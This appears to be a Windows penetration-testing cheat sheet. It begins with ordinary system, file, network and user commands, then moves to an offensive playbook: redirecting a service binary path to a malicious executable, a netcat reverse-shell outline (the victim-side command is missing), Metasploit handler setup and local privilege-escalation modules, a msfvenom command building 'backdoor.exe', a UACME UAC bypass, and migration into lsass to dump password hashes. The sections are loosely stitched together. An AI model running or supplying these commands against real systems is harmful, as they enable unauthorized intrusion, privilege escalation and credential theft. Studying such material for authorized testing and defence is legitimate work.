systeminfo # Displays detailed system information
ver # Displays Windows version
winver # Displays Windows version and build number
msinfo32 # Opens System Information tool.
wmic os get name,version,buildnumber # Retrieves OS version/build info
Hardware Information:
getmac /v # Displays MAC address
hostname # Displays computer name
Environment Variables:
set # Lists all environment variables
echo %PATH% # Prints a specific environment variable
path # Displays or modifies the PATH environment variable
File System and Directory Management
Navigation and Directory Structure:
cd # Change current directory
dir # List files and directories
tree # Graphical view of directory structure
File Operations:
type NUL > file.txt # Create a new file
echo "text" > file.txt # Write text into a file
type file.txt # Display file contents
del file.txt # Delete a file
copy file1 file2 # Copy files
move file1 folder/ # Move files
ren oldname new_name # Rename files
Directory Operations:
mkdir new_folder # Create a directory
rd folder_name # Remove a directory
3. Networking Commands
Network Information:
ipconfig /all # Displays all network interfaces
netstat -ano # Shows network connections and listening ports
route print # Displays the routing table
netsh wlan show profiles # Shows Wi-Fi profiles
Testing and Troubleshooting:
ping google.com # Test connectivity
tracert microsoft.com # Trace route to a destination
nslookup google.com # DNS queries
Permissions and User Management
User Information:
whoami # Displays current user
whoami /groups # Lists user groups
whoami /priv # Shows user privileges
net user # Lists all users
net user <USERNAME> # Displays user details
net localgroup Administrators #Manages local groups
Permissions and Policies:
icacls file.txt # Displays file permissions
net accounts # Displays account policies
gpupdate /force # Updates Group Policy settings
gpresult /r # Displays Group Policy results
net start "ServiceName" # Starts a service
sc.exe start <SERVICE> # Starts a service
net stop "ServiceName" # Stops a service
sc.exe stop <SERVICE> # Stops a service
sc query # Queries Windows services
sc.exe qc <SERVICE> # Checks Service Configuration
Get-Service # PowerShell alternative for service details
sc.exe config <SERVICE> binPath="C:\Path\to\malicious.exe" #Changes the Binary Path of a Service
sc.exe sdshow <SERVICE> # Checks Service Permissions
sc.exe sdset <SERVICE> <SDDL> # Updates Service Permissions
.\accesschk64.exe /accepteula -uwcqv SimpleService # Verify Service Permissions
ConvertFrom-SddlString -Sddl <SDDL> #Convert SDDL to Readable Format
wmic process list full | Select-String 'executablepath=C:' | Select-String -NotMatch 'system32|syswow' #Get Executable Path for All Processes
x86_64-w64-mingw32-gcc -mwindows -municode -O2 -s -o simpleService.exe simpleService.c #Compiling a Custom Service
The cmd.exe reverse shell relies on utilities like ncat.exe to establish a connection. The process involves downloading the necessary binary, setting up a listener on the attacker machine, and initiating the reverse connection from the victim machine.
Steps
Download ncat.exe on the Target Machinencat.exe (a lightweight implementation of Netcat) is required for creating the reverse shell.
Set Up a Listener on the Attacker Machine
The attacker machine must have a listener ready to receive the reverse connection.
nc -lvnp 7777
Initiate the Reverse Shell from the Target Machine
On the victim machine, execute the following command to connect back to the attacker and spawn a shell:
To verify whether the current user has this privilege, run the following:
whoami /priv
Sample Output
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeImpersonatePrivilege Impersonate a client after authentication Enabled
If the SeImpersonatePrivilege is enabled, the user can exploit it for privilege escalation using tools like PrintSpoofer or GodPotato.
## Windows-Exploit-Suggester Install
mkdir Windows-Exploit-Suggester
cd Windows-Exploit-Suggester
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py
# ^^ This is a python3 version of the script
cd Windows-Exploit-Suggester
python ./windows-exploit-suggester.py --update
pip install xlrd --upgrade
./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win2008r2-systeminfo.txt
## METASPLOIT
## Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
use exploit/multi/handler
options
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
use post/multi/recon/local_exploit_suggester
set SESSION <HANDLER_SESSION_NUMBER>
## MsfConsole Meterpreter Privesc
getprivs
getsystem
# Exploitable vulnerabilities modules
exploit/windows/local/bypassuac_dotnet_profiler
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_sdclt
exploit/windows/local/cve_2019_1458_wizardopium
exploit/windows/local/cve_2020_1054_drawiconex_lpe
exploit/windows/local/ms10_092_schelevator
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms16_014_wmi_recv_notif
UAC
# UAC - UACME
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f exe > backdoor.exe
## METASPLOIT - Listening
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
## Meterpreter (Unprivileged session)
cd C:\\
mkdir Temp
cd Temp
upload /root/backdoor.exe
upload /root/Desktop/tools/UACME/Akagi64.exe
shell
Akagi64.exe 23 C:\Temp\backdoor.exe
akagi32.exe [Key] [Param]
akagi64.exe [Key] [Param]
## Elevated Meterpreter Received on the listening session
ps -S lsass.exe
migrate <lsass_PID>
hashdump
